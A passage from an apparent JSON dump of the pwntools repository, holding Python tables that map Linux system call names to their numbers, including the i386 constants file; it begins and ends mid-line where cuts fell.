Constant('SYS_pause',(0+ 29))\nSYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',(0+271))\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',(0+272))\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',(0+273))\nSYS_perf_event_open = Constant('SYS_perf_event_open',(0+364))\nSYS_personality = Constant('SYS_personality',(0+136))\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(0 + 438))\nSYS_pidfd_open = Constant('SYS_pidfd_open',(0 + 434))\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(0 + 424))\nSYS_pipe = Constant('SYS_pipe',(0+ 42))\nSYS_pipe2 = Constant('SYS_pipe2',(0+359))\nSYS_pivot_root = Constant('SYS_pivot_root',(0+218))\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',(0 + 395))\nSYS_pkey_free = Constant('SYS_pkey_free',(0 + 396))\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(0 + 394))\nSYS_poll = Constant('SYS_poll',(0+168))\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',(0 + 414))\nSYS_prctl = Constant('SYS_prctl',(0+172))\nSYS_pread64 = Constant('SYS_pread64',(0+180))\nSYS_preadv = Constant('SYS_preadv',(0+361))\nSYS_preadv2 = Constant('SYS_preadv2',(0+392))\nSYS_prlimit64 = Constant('SYS_prlimit64',(0+369))\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',(0+376))\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',(0+377))\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',(0 + 413))\nSYS_ptrace = Constant('SYS_ptrace',(0+ 26))\nSYS_pwrite64 = Constant('SYS_pwrite64',(0+181))\nSYS_pwritev = Constant('SYS_pwritev',(0+362))\nSYS_pwritev2 = Constant('SYS_pwritev2',(0+393))\nSYS_quotactl = Constant('SYS_quotactl',(0+131))\nSYS_read = Constant('SYS_read',(0+  3))\nSYS_readahead = Constant('SYS_readahead',(0+225))\nSYS_readdir = Constant('SYS_readdir',(0+ 89))\nSYS_readlink = Constant('SYS_readlink',(0+ 85))\nSYS_readlinkat = Constant('SYS_readlinkat',(0+332))\nSYS_readv = Constant('SYS_readv',(0+145))\nSYS_reboot = Constant('SYS_reboot',(0+ 88))\nSYS_recv = Constant('SYS_recv',(0+291))\nSYS_recvfrom = Constant('SYS_recvfrom',(0+292))\nSYS_recvmmsg = Constant('SYS_recvmmsg',(0+365))\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',(0 + 417))\nSYS_recvmsg = Constant('SYS_recvmsg',(0+297))\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',(0+253))\nSYS_removexattr = Constant('SYS_removexattr',(0+235))\nSYS_rename = Constant('SYS_rename',(0+ 38))\nSYS_renameat = Constant('SYS_renameat',(0+329))\nSYS_renameat2 = Constant('SYS_renameat2',(0+382))\nSYS_request_key = Constant('SYS_request_key',(0+310))\nSYS_restart_syscall = Constant('SYS_restart_syscall',(0+  0))\nSYS_rmdir = Constant('SYS_rmdir',(0+ 40))\nSYS_rseq = Constant('SYS_rseq',(0 + 398))\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',(0+174))\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',(0+176))\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(0+175))\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(0+178))\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(0+173))\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(0+179))\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(0+177))\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',(0 + 421))\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(0+363))\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(0+242))\nSYS_sched_getattr = Constant('SYS_sched_getattr',(0+381))\nSYS_sched_getparam = Constant('SYS_sched_getparam',(0+155))\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(0+159))\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(0+160))\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(0+157))\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(0+161))\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',(0 + 423))\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(0+241))\nSYS_sched_setattr = Constant('SYS_sched_setattr',(0+380))\nSYS_sched_setparam = Constant('SYS_sched_setparam',(0+154))\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(0+156))\nSYS_sched_yield = Constant('SYS_sched_yield',(0+158))\nSYS_seccomp = Constant('SYS_seccomp',(0+383))\nSYS_select = Constant('SYS_select',(0+ 82))\nSYS_semctl = Constant('SYS_semctl',(0+300))\nSYS_semget = Constant('SYS_semget',(0+299))\nSYS_semop = Constant('SYS_semop',(0+298))\nSYS_semtimedop = Constant('SYS_semtimedop',(0+312))\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',(0 + 420))\nSYS_send = Constant('SYS_send',(0+289))\nSYS_sendfile = Constant('SYS_sendfile',(0+187))\nSYS_sendfile64 = Constant('SYS_sendfile64',(0+239))\nSYS_sendmmsg = Constant('SYS_sendmmsg',(0+374))\nSYS_sendmsg = Constant('SYS_sendmsg',(0+296))\nSYS_sendto = Constant('SYS_sendto',(0+290))\nSYS_setdomainname = Constant('SYS_setdomainname',(0+121))\nSYS_setfsgid = Constant('SYS_setfsgid',(0+139))\nSYS_setfsgid32 = Constant('SYS_setfsgid32',(0+216))\nSYS_setfsuid = Constant('SYS_setfsuid',(0+138))\nSYS_setfsuid32 = Constant('SYS_setfsuid32',(0+215))\nSYS_setgid = Constant('SYS_setgid',(0+ 46))\nSYS_setgid32 = Constant('SYS_setgid32',(0+214))\nSYS_setgroups = Constant('SYS_setgroups',(0+ 81))\nSYS_setgroups32 = Constant('SYS_setgroups32',(0+206))\nSYS_sethostname = Constant('SYS_sethostname',(0+ 74))\nSYS_setitimer = Constant('SYS_setitimer',(0+104))\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',(0+321))\nSYS_setns = Constant('SYS_setns',(0+375))\nSYS_setpgid = Constant('SYS_setpgid',(0+ 57))\nSYS_setpriority = Constant('SYS_setpriority',(0+ 97))\nSYS_setregid = Constant('SYS_setregid',(0+ 71))\nSYS_setregid32 = Constant('SYS_setregid32',(0+204))\nSYS_setresgid = Constant('SYS_setresgid',(0+170))\nSYS_setresgid32 = Constant('SYS_setresgid32',(0+210))\nSYS_setresuid = Constant('SYS_setresuid',(0+164))\nSYS_setresuid32 = Constant('SYS_setresuid32',(0+208))\nSYS_setreuid = Constant('SYS_setreuid',(0+ 70))\nSYS_setreuid32 = Constant('SYS_setreuid32',(0+203))\nSYS_setrlimit = Constant('SYS_setrlimit',(0+ 75))\nSYS_set_robust_list = Constant('SYS_set_robust_list',(0+338))\nSYS_setsid = Constant('SYS_setsid',(0+ 66))\nSYS_setsockopt = Constant('SYS_setsockopt',(0+294))\nSYS_set_tid_address = Constant('SYS_set_tid_address',(0+256))\nSYS_settimeofday = Constant('SYS_settimeofday',(0+ 79))\nSYS_setuid = Constant('SYS_setuid',(0+ 23))\nSYS_setuid32 = Constant('SYS_setuid32',(0+213))\nSYS_setxattr = Constant('SYS_setxattr',(0+226))\nSYS_shmat = Constant('SYS_shmat',(0+305))\nSYS_shmctl = Constant('SYS_shmctl',(0+308))\nSYS_shmdt = Constant('SYS_shmdt',(0+306))\nSYS_shmget = Constant('SYS_shmget',(0+307))\nSYS_shutdown = Constant('SYS_shutdown',(0+293))\nSYS_sigaction = Constant('SYS_sigaction',(0+ 67))\nSYS_sigaltstack = Constant('SYS_sigaltstack',(0+186))\nSYS_signalfd = Constant('SYS_signalfd',(0+349))\nSYS_signalfd4 = Constant('SYS_signalfd4',(0+355))\nSYS_sigpending = Constant('SYS_sigpending',(0+ 73))\nSYS_sigprocmask = Constant('SYS_sigprocmask',(0+126))\nSYS_sigreturn = Constant('SYS_sigreturn',(0+119))\nSYS_sigsuspend = Constant('SYS_sigsuspend',(0+ 72))\nSYS_socket = Constant('SYS_socket',(0+281))\nSYS_socketcall = Constant('SYS_socketcall',(0+102))\nSYS_socketpair = Constant('SYS_socketpair',(0+288))\nSYS_splice = Constant('SYS_splice',(0+340))\nSYS_stat = Constant('SYS_stat',(0+106))\nSYS_stat64 = Constant('SYS_stat64',(0+195))\nSYS_statfs = Constant('SYS_statfs',(0+ 99))\nSYS_statfs64 = Constant('SYS_statfs64',(0+266))\nSYS_statx = Constant('SYS_statx',(0 + 397))\nSYS_stime = Constant('SYS_stime',(0+ 25))\nSYS_swapoff = Constant('SYS_swapoff',(0+115))\nSYS_swapon = Constant('SYS_swapon',(0+ 87))\nSYS_symlink = Constant('SYS_symlink',(0+ 83))\nSYS_symlinkat = Constant('SYS_symlinkat',(0+331))\nSYS_sync = Constant('SYS_sync',(0+ 36))\nSYS_syncfs = Constant('SYS_syncfs',(0+373))\nSYS_syscall = Constant('SYS_syscall',(0+113))\nSYS_SYSCALL_BASE = Constant('SYS_SYSCALL_BASE',0)\nSYS__sysctl = Constant('SYS__sysctl',(0+149))\nSYS_sysfs = Constant('SYS_sysfs',(0+135))\nSYS_sysinfo = Constant('SYS_sysinfo',(0+116))\nSYS_syslog = Constant('SYS_syslog',(0+103))\nSYS_tee = Constant('SYS_tee',(0+342))\nSYS_tgkill = Constant('SYS_tgkill',(0+268))\nSYS_time = Constant('SYS_time',(0+ 13))\nSYS_timer_create = Constant('SYS_timer_create',(0+257))\nSYS_timer_delete = Constant('SYS_timer_delete',(0+261))\nSYS_timerfd = Constant('SYS_timerfd',(0+350))\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(0+354))\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',(0 + 410))\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',(0+353))\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',(0 + 411))\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(0+260))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(0+259))\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',(0 + 408))\nSYS_timer_settime = Constant('SYS_timer_settime',(0+258))\nSYS_timer_settime64 = Constant('SYS_timer_settime64',(0 + 409))\nSYS_times = Constant('SYS_times',(0+ 43))\nSYS_tkill = Constant('SYS_tkill',(0+238))\nSYS_truncate = Constant('SYS_truncate',(0+ 92))\nSYS_truncate64 = Constant('SYS_truncate64',(0+193))\nSYS_ugetrlimit = Constant('SYS_ugetrlimit',(0+191))\nSYS_umask = Constant('SYS_umask',(0+ 60))\nSYS_umount = Constant('SYS_umount',(0+ 22))\nSYS_umount2 = Constant('SYS_umount2',(0+ 52))\nSYS_uname = Constant('SYS_uname',(0+122))\nSYS_unlink = Constant('SYS_unlink',(0+ 10))\nSYS_unlinkat = Constant('SYS_unlinkat',(0+328))\nSYS_unshare = Constant('SYS_unshare',(0+337))\nSYS_uselib = Constant('SYS_uselib',(0+ 86))\nSYS_userfaultfd = Constant('SYS_userfaultfd',(0+388))\nSYS_ustat = Constant('SYS_ustat',(0+ 62))\nSYS_utime = Constant('SYS_utime',(0+ 30))\nSYS_utimensat = Constant('SYS_utimensat',(0+348))\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',(0 + 412))\nSYS_utimes = Constant('SYS_utimes',(0+269))\nSYS_vfork = Constant('SYS_vfork',(0+190))\nSYS_vhangup = Constant('SYS_vhangup',(0+111))\nSYS_vmsplice = Constant('SYS_vmsplice',(0+343))\nSYS_vserver = Constant('SYS_vserver',(0+313))\nSYS_wait4 = Constant('SYS_wait4',(0+114))\nSYS_waitid = Constant('SYS_waitid',(0+280))\nSYS_write = Constant('SYS_write',(0+  4))\nSYS_writev = Constant('SYS_writev',(0+146))\n"
  },
  {
    "path": "pwnlib/constants/linux/i386.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_waitpid = Constant('__NR_waitpid',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execve = Constant('__NR_execve',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_time = Constant('__NR_time',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lchown = Constant('__NR_lchown',16)\n__NR_break = Constant('__NR_break',17)\n__NR_oldstat = Constant('__NR_oldstat',18)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_mount = Constant('__NR_mount',21)\n__NR_umount = Constant('__NR_umount',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getuid = Constant('__NR_getuid',24)\n__NR_stime = Constant('__NR_stime',25)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_oldfstat = Constant('__NR_oldfstat',28)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_stty = Constant('__NR_stty',31)\n__NR_gtty = Constant('__NR_gtty',32)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_ftime = Constant('__NR_ftime',35)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_rename = Constant('__NR_rename',38)\n__NR_mkdir = Constant('__NR_mkdir',39)\n__NR_rmdir = Constant('__NR_rmdir',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_prof = Constant('__NR_prof',44)\n__NR_brk = Constant('__NR_brk',45)\n__NR_setgid = Constant('__NR_setgid',46)\n__NR_getgid = Constant('__NR_getgid',47)\n__NR_signal = Constant('__NR_signal',48)\n__NR_geteuid = Constant('__NR_geteuid',49)\n__NR_getegid = Constant('__NR_getegid',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_umount2 = Constant('__NR_umount2',52)\n__NR_lock = Constant('__NR_lock',53)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_fcntl = Constant('__NR_fcntl',55)\n__NR_mpx = Constant('__NR_mpx',56)\n__NR_setpgid = Constant('__NR_setpgid',57)\n__NR_ulimit = Constant('__NR_ulimit',58)\n__NR_oldolduname = Constant('__NR_oldolduname',59)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_ustat = Constant('__NR_ustat',62)\n__NR_dup2 = Constant('__NR_dup2',63)\n__NR_getppid = Constant('__NR_getppid',64)\n__NR_getpgrp = Constant('__NR_getpgrp',65)\n__NR_setsid = Constant('__NR_setsid',66)\n__NR_sigaction = Constant('__NR_sigaction',67)\n__NR_sgetmask = Constant('__NR_sgetmask',68)\n__NR_ssetmask = Constant('__NR_ssetmask',69)\n__NR_setreuid = Constant('__NR_setreuid',70)\n__NR_setregid = Constant('__NR_setregid',71)\n__NR_sigsuspend = Constant('__NR_sigsuspend',72)\n__NR_sigpending = Constant('__NR_sigpending',73)\n__NR_sethostname = Constant('__NR_sethostname',74)\n__NR_setrlimit = Constant('__NR_setrlimit',75)\n__NR_getrlimit = Constant('__NR_getrlimit',76)\n__NR_getrusage = Constant('__NR_getrusage',77)\n__NR_gettimeofday = Constant('__NR_gettimeofday',78)\n__NR_settimeofday = Constant('__NR_settimeofday',79)\n__NR_getgroups = Constant('__NR_getgroups',80)\n__NR_setgroups = Constant('__NR_setgroups',81)\n__NR_select = Constant('__NR_select',82)\n__NR_symlink = Constant('__NR_symlink',83)\n__NR_oldlstat = Constant('__NR_oldlstat',84)\n__NR_readlink = Constant('__NR_readlink',85)\n__NR_uselib = Constant('__NR_uselib',86)\n__NR_swapon = Constant('__NR_swapon',87)\n__NR_reboot = Constant('__NR_reboot',88)\n__NR_readdir = Constant('__NR_readdir',89)\n__NR_mmap = Constant('__NR_mmap',90)\n__NR_munmap = Constant('__NR_munmap',91)\n__NR_truncate = Constant('__NR_truncate',92)\n__NR_ftruncate = Constant('__NR_ftruncate',93)\n__NR_fchmod = Constant('__NR_fchmod',94)\n__NR_fchown = Constant('__NR_fchown',95)\n__NR_getpriority = Constant('__NR_getpriority',96)\n__NR_setpriority = Constant('__NR_setpriority',97)\n__NR_profil = Constant('__NR_profil',98)\n__NR_statfs = Constant('__NR_statfs',99)\n__NR_fstatfs = Constant('__NR_fstatfs',100)\n__NR_ioperm = Constant('__NR_ioperm',101)\n__NR_socketcall = Constant('__NR_socketcall',102)\n__NR_syslog = Constant('__NR_syslog',103)\n__NR_setitimer = Constant('__NR_setitimer',104)\n__NR_getitimer = Constant('__NR_getitimer',105)\n__NR_stat = Constant('__NR_stat',106)\n__NR_lstat = Constant('__NR_lstat',107)\n__NR_fstat = Constant('__NR_fstat',108)\n__NR_olduname = Constant('__NR_olduname',109)\n__NR_iopl = Constant('__NR_iopl',110)\n__NR_vhangup = Constant('__NR_vhangup',111)\n__NR_idle = Constant('__NR_idle',112)\n__NR_vm86old = Constant('__NR_vm86old',113)\n__NR_wait4 = Constant('__NR_wait4',114)\n__NR_swapoff = Constant('__NR_swapoff',115)\n__NR_sysinfo = Constant('__NR_sysinfo',116)\n__NR_ipc = Constant('__NR_ipc',117)\n__NR_fsync = Constant('__NR_fsync',118)\n__NR_sigreturn = Constant('__NR_sigreturn',119)\n__NR_clone = Constant('__NR_clone',120)\n__NR_setdomainname = Constant('__NR_setdomainname',121)\n__NR_uname = Constant('__NR_uname',122)\n__NR_modify_ldt = Constant('__NR_modify_ldt',123)\n__NR_adjtimex = Constant('__NR_adjtimex',124)\n__NR_mprotect = Constant('__NR_mprotect',125)\n__NR_sigprocmask = Constant('__NR_sigprocmask',126)\n__NR_create_module = Constant('__NR_create_module',127)\n__NR_init_module = Constant('__NR_init_module',128)\n__NR_delete_module = Constant('__NR_delete_module',129)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130)\n__NR_quotactl = Constant('__NR_quotactl',131)\n__NR_getpgid = Constant('__NR_getpgid',132)\n__NR_fchdir = Constant('__NR_fchdir',133)\n__NR_bdflush = Constant('__NR_bdflush',134)\n__NR_sysfs = Constant('__NR_sysfs',135)\n__NR_personality = Constant('__NR_personality',136)\n__NR_afs_syscall = Constant('__NR_afs_syscall',137)\n__NR_setfsuid = Constant('__NR_setfsuid',138)\n__NR_setfsgid = Constant('__NR_setfsgid',139)\n__NR__llseek = Constant('__NR__llseek',140)\n__NR_getdents = Constant('__NR_getdents',141)\n__NR__newselect = Constant('__NR__newselect',142)\n__NR_flock = Constant('__NR_flock',143)\n__NR_msync = Constant('__NR_msync',144)\n__NR_readv = Constant('__NR_readv',145)\n__NR_writev = Constant('__NR_writev',146)\n__NR_getsid = Constant('__NR_getsid',147)\n__NR_fdatasync = Constant('__NR_fdatasync',148)\n__NR__sysctl = Constant('__NR__sysctl',149)\n__NR_mlock = Constant('__NR_mlock',150)\n__NR_munlock = Constant('__NR_munlock',151)\n__NR_mlockall = Constant('__NR_mlockall',152)\n__NR_munlockall = Constant('__NR_munlockall',153)\n__NR_sched_setparam = Constant('__NR_sched_setparam',154)\n__NR_sched_getparam = Constant('__NR_sched_getparam',155)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157)\n__NR_sched_yield = Constant('__NR_sched_yield',158)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161)\n__NR_nanosleep = Constant('__NR_nanosleep',162)\n__NR_mremap = Constant('__NR_mremap',163)\n__NR_setresuid = Constant('__NR_setresuid',164)\n__NR_getresuid = Constant('__NR_getresuid',165)\n__NR_vm86 = Constant('__NR_vm86',166)\n__NR_query_module = Constant('__NR_query_module',167)\n__NR_poll = Constant('__NR_poll',168)\n__NR_nfsservctl = Constant('__NR_nfsservctl',169)\n__NR_setresgid = Constant('__NR_setresgid',170)\n__NR_getresgid = Constant('__NR_getresgid',171)\n__NR_prctl = Constant('__NR_prctl',172)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',173)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',174)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',175)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',176)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',177)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',178)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',179)\n__NR_pread = Constant('__NR_pread',180)\n__NR_pwrite = Constant('__NR_pwrite',181)\n__NR_chown = Constant('__NR_chown',182)\n__NR_getcwd = Constant('__NR_getcwd',183)\n__NR_capget = Constant('__NR_capget',184)\n__NR_capset = Constant('__NR_capset',185)\n__NR_sigaltstack = Constant('__NR_sigaltstack',186)\n__NR_sendfile = Constant('__NR_sendfile',187)\n__NR_getpmsg = Constant('__NR_getpmsg',188)\n__NR_putpmsg = Constant('__NR_putpmsg',189)\n__NR_vfork = Constant('__NR_vfork',190)\n__NR_ugetrlimit = Constant('__NR_ugetrlimit',191)\n__NR_mmap2 = Constant('__NR_mmap2',192)\n__NR_truncate64 = Constant('__NR_truncate64',193)\n__NR_ftruncate64 = Constant('__NR_ftruncate64',194)\n__NR_stat64 = Constant('__NR_stat64',195)\n__NR_lstat64 = Constant('__NR_lstat64',196)\n__NR_fstat64 = Constant('__NR_fstat64',197)\n__NR_lchown32 = Constant('__NR_lchown32',198)\n__NR_getuid32 = Constant('__NR_getuid32',199)\n__NR_getgid32 = Constant('__NR_getgid32',200)\n__NR_geteuid32 = Constant('__NR_geteuid32',201)\n__NR_getegid32 = Constant('__NR_getegid32',202)\n__NR_setreuid32 = Constant('__NR_setreuid32',203)\n__NR_setregid32 = Constant('__NR_setregid32',204)\n__NR_getgroups32 = Constant('__NR_getgroups32',205)\n__NR_setgroups32 = Constant('__NR_setgroups32',206)\n__NR_fchown32 = Constant('__NR_fchown32',207)\n__NR_setresuid32 = Constant('__NR_setresuid32',208)\n__NR_getresuid32 = Constant('__NR_getresuid32',209)\n__NR_setresgid32 = Constant('__NR_setresgid32',210)\n__NR_getresgid32 = Constant('__NR_getresgid32',211)\n__NR_chown32 = Constant('__NR_chown32',212)\n__NR_setuid32 = Constant('__NR_setuid32',213)\n__NR_setgid32 = Constant('__NR_setgid32',214)\n__NR_setfsuid32 = Constant('__NR_setfsuid32',215)\n__NR_setfsgid32 = Constant('__NR_setfsgid32',216)\n__NR_pivot_root = Constant('__NR_pivot_root',217)\n__NR_mincore = Constant('__NR_mincore',218)\n__NR_madvise = Constant('__NR_madvise',219)\n__NR_madvise1 = Constant('__NR_madvise1',219)\n__NR_getdents64 = Constant('__NR_getdents64',220)\n__NR_fcntl64 = Constant('__NR_fcntl64',221)\n__NR_gettid = Constant('__NR_gettid',224)\n__NR_readahead = Constant('__NR_readahead',225)\n__NR_setxattr = Constant('__NR_setxattr',226)\n__NR_lsetxattr = Constant('__NR_lsetxattr',227)\n__NR_fsetxattr = Constant('__NR_fsetxattr',228)\n__NR_getxattr = Constant('__NR_getxattr',229)\n__NR_lgetxattr = Constant('__NR_lgetxattr',230)\n__NR_fgetxattr = Constant('__NR_fgetxattr',231)\n__NR_listxattr = Constant('__NR_listxattr',232)\n__NR_llistxattr = Constant('__NR_llistxattr',233)\n__NR_flistxattr = Constant('__NR_flistxattr',234)\n__NR_removexattr = Constant('__NR_removexattr',235)\n__NR_lremovexattr = Constant('__NR_lremovexattr',236)\n__NR_fremovexattr = Constant('__NR_fremovexattr',237)\n__NR_tkill = Constant('__NR_tkill',238)\n__NR_sendfile64 = Constant('__NR_sendfile64',239)\n__NR_futex = Constant('__NR_futex',240)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',241)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',242)\n__NR_set_thread_area = Constant('__NR_set_thread_area',243)\n__NR_get_thread_area = Constant('__NR_get_thread_area',244)\n__NR_io_setup = Constant('__NR_io_setup',245)\n__NR_io_destroy = Constant('__NR_io_destroy',246)\n__NR_io_getevents = Constant('__NR_io_getevents',247)\n__NR_io_submit = Constant('__NR_io_submit',248)\n__NR_io_cancel = Constant('__NR_io_cancel',249)\n__NR_fadvise64 = Constant('__NR_fadvise64',250)\n__NR_exit_group = Constant('__NR_exit_group',252)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',253)\n__NR_epoll_create = Constant('__NR_epoll_create',254)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',255)\n__NR_epoll_wait = Constant('__NR_epoll_wait',256)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',257)\n__NR_set_tid_address = Constant('__NR_set_tid_address',258)\n__NR_timer_create = Constant('__NR_timer_create',259)\n__NR_timer_settime = Constant('__NR_timer_settime',(259+1))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(259+2))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(259+3))\n__NR_timer_delete = Constant('__NR_timer_delete',(259+4))\n__NR_clock_settime = Constant('__NR_clock_settime',(259+5))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(259+6))\n__NR_clock_getres = Constant('__NR_clock_getres',(259+7))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(259+8))\n__NR_statfs64 = Constant('__NR_statfs64',268)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',269)\n__NR_tgkill = Constant('__NR_tgkill',270)\n__NR_utimes = Constant('__NR_utimes',271)\n__NR_fadvise64_64 = Constant('__NR_fadvise64_64',272)\n__NR_vserver = Constant('__NR_vserver',273)\n__NR_mbind = Constant('__NR_mbind',274)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',275)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',276)\n__NR_mq_open = Constant('__NR_mq_open',277)\n__NR_mq_unlink = Constant('__NR_mq_unlink',(277+1))\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',(277+2))\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(277+3))\n__NR_mq_notify = Constant('__NR_mq_notify',(277+4))\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(277+5))\n__NR_sys_kexec_load = Constant('__NR_sys_kexec_load',283)\n__NR_waitid = Constant('__NR_waitid',284)\n__NR_add_key = Constant('__NR_add_key',286)\n__NR_request_key = Constant('__NR_request_key',287)\n__NR_keyctl = Constant('__NR_keyctl',288)\n__NR_ioprio_set = Constant('__NR_ioprio_set',289)\n__NR_ioprio_get = Constant('__NR_ioprio_get',290)\n__NR_inotify_init = Constant('__NR_inotify_init',291)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',292)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',293)\n__NR_migrate_pages = Constant('__NR_migrate_pages',294)\n__NR_openat = Constant('__NR_openat',295)\n__NR_mkdirat = Constant('__NR_mkdirat',296)\n__NR_mknodat = Constant('__NR_mknodat',297)\n__NR_fchownat = Constant('__NR_fchownat',298)\n__NR_futimesat = Constant('__NR_futimesat',299)\n__NR_fstatat64 = Constant('__NR_fstatat64',300)\n__NR_unlinkat = Constant('__NR_unlinkat',301)\n__NR_renameat = Constant('__NR_renameat',302)\n__NR_linkat = Constant('__NR_linkat',303)\n__NR_symlinkat = Constant('__NR_symlinkat',304)\n__NR_readlinkat = Constant('__NR_readlinkat',305)\n__NR_fchmodat = Constant('__NR_fchmodat',306)\n__NR_faccessat = Constant('__NR_faccessat',307)\n__NR_pselect6 = Constant('__NR_pselect6',308)\n__NR_ppoll = Constant('__NR_ppoll',309)\n__NR_unshare = Constant('__NR_unshare',310)\n__NR_set_robust_list = Constant('__NR_set_robust_list',311)\n__NR_get_robust_list = Constant('__NR_get_robust_list',312)\n__NR_splice = Constant('__NR_splice',313)\n__NR_sync_file_range = Constant('__NR_sync_file_range',314)\n__NR_tee = Constant('__NR_tee',315)\n__NR_vmsplice = Constant('__NR_vmsplice',316)\n__NR_move_pages = Constant('__NR_move_pages',317)\n__NR_getcpu = Constant('__NR_getcpu',318)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',319)\n__NR_utimensat = Constant('__NR_utimensat',320)\n__NR_signalfd = Constant('__NR_signalfd',321)\n__NR_timerfd = Constant('__NR_timerfd',322)\n__NR_eventfd = Constant('__NR_eventfd',323)\n__NR_fallocate = Constant('__NR_fallocate',324)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',325)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',326)\n__NR_signalfd4 = Constant('__NR_signalfd4',327)\n__NR_eventfd2 = Constant('__NR_eventfd2',328)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',329)\n__NR_dup3 = Constant('__NR_dup3',330)\n__NR_pipe2 = Constant('__NR_pipe2',331)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',332)\n__NR_preadv = Constant('__NR_preadv',333)\n__NR_pwritev = 